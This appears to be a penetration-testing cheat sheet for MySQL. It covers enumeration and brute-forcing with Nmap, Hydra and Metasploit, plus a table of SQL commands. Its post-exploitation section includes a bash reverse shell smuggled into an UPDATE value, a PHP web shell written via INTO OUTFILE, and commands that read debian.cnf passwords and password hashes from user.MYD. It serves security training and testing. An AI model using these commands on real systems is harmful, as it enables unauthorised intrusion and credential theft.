MySQL

`Default Port: 3306`

MySQL is an open source relational database management system (RDBMS) widely used worldwide. Databases are used to store and manage interrelated data. MySQL is a preferred solution in many areas such as web-based applications, data storage, e-commerce, and log records. SQL (Structured Query Language) is the language MySQL uses to communicate with the database.

Connect

Connecting to MySQL involves different methods whether accessing locally or remotely

Local

```
mysql -u <username>
#specified username
#no password

mysql -u <username> -p
#with password

mysql -u <username> -p <database_name>
#specified database
```

Remote

```
mysql -u <username> -h <hostname> -P <port> -p
#specified hostname
#specified port
```

```
mysql -u <username> -h <hostname> -P <port> -p -D <database_name>
#specified database (-D)
```

URL

The MySQL connection URL is a line containing all the information necessary for an application to connect to a MySQL database. A typical format is as follows:

```
mysql://<username>:<password>@<hostname>:<port>/<database_name>
```

Enumeration

Identifying an MySQL Server

You can use `Nmap` to check if there's an MySQL server on a target host like this:

```
nmap -p 3306 X.X.X.X
```

Assessment with Metasploit

`Metasploit`'s MySQL modules offer a range of tools for security assessments, including version identification, vulnerability exploitation for hash dumping, schema enumeration, and even executing commands on compromised systems, thereby providing a comprehensive toolkit for penetrating and analyzing MySQL databases.

```
msf> use auxiliary/scanner/mysql/mysql_version #version detection
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump #auth bypass dump
msf> use auxiliary/scanner/mysql/mysql_hashdump #password hashes
msf> use auxiliary/admin/mysql/mysql_enum #user enumeration
msf> use auxiliary/scanner/mysql/mysql_schemadump #schema dumping
msf> use exploit/windows/mysql/mysql_start_up #command execution
```

Banner Grabbing

You can use `Netcat` to find out what service is running and its version by looking at the welcome message it shows when you connect. This method is called Banner Grabbing.

```
nc -nv X.X.X.X 3306
```

Attack Vectors

Default Credentials

MySQL databases may come with default or `well-known accounts` that lack strong passwords. Identifying and testing these accounts can provide an initial foothold without resorting to aggressive hacking techniques.

To test a default account, you might execute:

```
mysql -u root -p

#enter default or guessable password
```

Common Credentials

If anonymous login is disabled on the MySQL server, trying common usernames and passwords like `admin`, `administrator` , `root` , `user`, or `test` can be a good initial step. This approach is less aggressive than attempting to guess passwords through brute force and is recommended to try first when accessing a server.

```
mysql -u <username> -p

#provide a common username
#provide a common password
```

Bruteforcing Credentials

A brute-force attack involves trying many passwords or usernames to find the right one for accessing a system.

Tools like Hydra are designed for cracking into networks and can be used on services like MySQL, HTTP, SMB, etc. For MySQL, Hydra often carries out a dictionary attack, which means it uses a list of possible usernames and passwords from a file to try and log in.

Bruteforcing with Hydra

To use `Hydra` for brute-forcing MySQL login credentials, you would use a command structured for this purpose:

```
hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port]
mysql://X.X.X.X
```

Bruteforcing with Nmap

It is also possible to perform brute force on MySQL with `Nmap` scripts:

```
nmap -p 3306 --script mysql-brute X.X.X.X
```

Bruteforcing with Metasploit

It is also possible to apply brute force with `Metasploit` modules on MySQL:

```
use auxiliary/scanner/mysql/mysql_login
msf auxiliary(scanner/mysql/mysql_login) > set rhosts X.X.X.X
msf auxiliary(scanner/mysql/mysql_login) > set user_file /path/to/user.txt
msf auxiliary(scanner/mysql/mysql_login) > set pass_file /path/to/pass.txt
msf auxiliary(scanner/mysql/mysql_login) > set stop_on_success true
msf auxiliary(scanner/mysql/mysql_login) > exploit
```

Post-Exploitation

Common MySQL Commands

This table provides a clear overview of each command's function within MySQL and how they are used, covering a broad spectrum of database management tasks.

Command	Description	Usage
`SHOW DATABASES;`	Lists all databases on the MySQL server.	`SHOW DATABASES;`
`USE`	Switches to a specific database.	`USE database_name;`
`SHOW TABLES;`	Displays all tables in the current database.	`SHOW TABLES;`
`SHOW COLUMNS FROM`	Lists all columns in a specific table.	`SHOW COLUMNS FROM table_name;`
`SELECT`	Retrieves data from a table.	`SELECT * FROM table_name;`
`INSERT INTO`	Inserts a new record into a table.	`INSERT INTO table_name (column1, column2) VALUES (value1, value2);`
`UPDATE`	Updates records in a table that meet the condition.	`UPDATE table_name SET column1 = value1 WHERE condition;`
`DELETE FROM`	Deletes records from a table that meet the condition.	`DELETE FROM table_name WHERE condition;`
`CREATE DATABASE`	Creates a new database.	`CREATE DATABASE database_name;`
`DROP DATABASE`	Deletes a database.	`DROP DATABASE database_name;`
`CREATE TABLE`	Creates a new table.	`CREATE TABLE table_name (column1 datatype, column2 datatype);`
`DROP TABLE`	Deletes a table.	`DROP TABLE table_name;`

Command	Description	Usage
`ALTER TABLE ADD`	Adds a new column to a table.	`ALTER TABLE table_name ADD column_name datatype;`
`ALTER TABLE DROP COLUMN`	Deletes a column from a table.	`ALTER TABLE table_name DROP COLUMN column_name;`
`GRANT`	Grants privileges to a user on a database.	`GRANT ALL PRIVILEGES ON database_name.* TO 'user'@'localhost' IDENTIFIED BY 'password';`
`REVOKE`	Revokes privileges from a user on a database.	`REVOKE ALL PRIVILEGES ON database_name.* FROM 'user'@'localhost';`
`SHOW GRANTS FOR`	Displays all privileges for a user.	`SHOW GRANTS FOR 'user'@'localhost';`
`FLUSH PRIVILEGES;`	Reloads the grant tables in the database, making privilege changes effective immediately.	`FLUSH PRIVILEGES;`

Executing a Reverse Shell Through SQL Command Injection

This example demonstrates updating a user's email in a database to execute a reverse shell, highlighting the potential for command injection vulnerabilities in SQL operations.

```
mysql> UPDATE hackviserdb.users SET email='hackviser@shell|| bash -c "bash -i >& /dev/tcp/<ip_address>/<port> 0>&1" &' WHERE name LIKE 'user%';
```

Executing Commands via SQL Read & Write Operations

SQL provides capabilities for both reading from and writing to files, which can be exploited for command execution:

- **Reading Files**: The `load_file` function allows reading the contents of a file from the server's filesystem. For example, to read a key file:

  ```
  SELECT load_file('/var/lib/mysql-files/key.txt');
  ```

  This command reads the content of `key.txt` located in the MySQL server's file directory.

- **Writing Files**: SQL also enables writing data to files using the `INTO OUTFILE` clause. This can be leveraged to write malicious scripts to the server. For instance, to create a PHP file that executes commands passed via URL:

  ```
  SELECT 1,2,"<?php echo shell_exec($_GET['command']);?>",4,5 INTO OUTFILE
  '/var/www/html/shell.php'
  ```

  This creates a `shell.php` file in the web server's root, which when accessed, can execute commands specified in the `command` query parameter.

Accessing MySQL Credentials from System Files

MySQL credentials can be uncovered in plaintext or as hashes from specific system files, providing alternative access methods to the database:

- **Debian System Maintenance User**: The `/etc/mysql/debian.cnf` file contains the plaintext password for the `debian-sys-maint` user, allowing for authorized database access.

  ```
  cat /etc/mysql/debian.cnf
  ```

- **MySQL User Hashes**: User password hashes are stored in `/var/lib/mysql/mysql/user.MYD`. These hashes represent the encrypted passwords of MySQL users and can be extracted for potential cracking.

```
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v
"mysql_native_password"
```

Tags: Port 3306